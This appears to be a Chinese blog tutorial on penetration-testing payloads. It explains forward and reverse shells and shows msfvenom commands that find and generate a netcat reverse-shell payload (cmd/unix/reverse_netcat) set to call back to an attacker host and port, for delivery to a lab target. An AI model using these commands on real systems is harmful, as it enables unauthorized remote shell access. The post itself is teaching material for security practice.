渗透测试之Payload

发布时间 2023-05-26 15:30:18作者: CrazyLoe

一、什么是Payload

一般地在渗透测试中,Payload(攻击载荷),是允许连接到监听器的一个可执行文件或是一段代码

其目的是在受害主机和攻击者之间建立连接,从而获取到被害主机的一个Shell;

此Shell可以是一个正向Shell,也可以是一个反向Shell


二、Payload生成器:msfvenom

听其名而知其意:Payload生成器就是生成一个连接到监听器的可执行文件或一段代码,这里我们使用msfvenom


1、工具介绍

是一个独立于 msf 的 Payload 生成器

此工具替代了:msfpayload (生成payload)

msfencode(对payload编码, 为了绕过一些杀毒软件的检测)

ps:这里我们不演示对payload的编码


2、选项

  • --list payloads 查看支持的Payloads  
  • -p 指定要使用的Payload  
  • <payload> --list-options 可以查看此payload需要的选项与参数

3、使用netcat实现一个Payload

实际上能实现Payload的工具或语言很多,可以根据具体情况进行选择


 

1)查找基于netcat实现的Payload:

cat msfvenom_payloads | grep "netcat"

我这里是直接把Payload的列表保存到一个文件了,因为每次查找很慢

 这里我们可以使用 cmd/unix/reverse_netcat 这个payload


 

2)查看此Payload的选项

msfvenom -p cmd/unix/reverse_netcat --list-options

 注意:由于我们选择的是反向Shell,所以我们的角度要站在受害主机上,对于受害主机来说,它需要去连接我们,所以这里的 LHOST与LPORT就是我们本机的地址与端口


 

3)生成Payload并投递执行

1 msfvenom -p cmd/unix/reverse_netcat lhost=172.30.1.3 lport=25565

结果:

这就是我们要投递给靶机,让其执行的代码;由于在高度安全的环境下,nc直接去连并带着自己的Shell是不被允许的,这坨命令的意思就是通过管道与FIFO来实现获取Shell的效果

投递的方式与原理请看:通过python获取靶机的反弹Shell [靶机实战] - CrazyLoe - 博客园 (cnblogs.com)


 

4)结果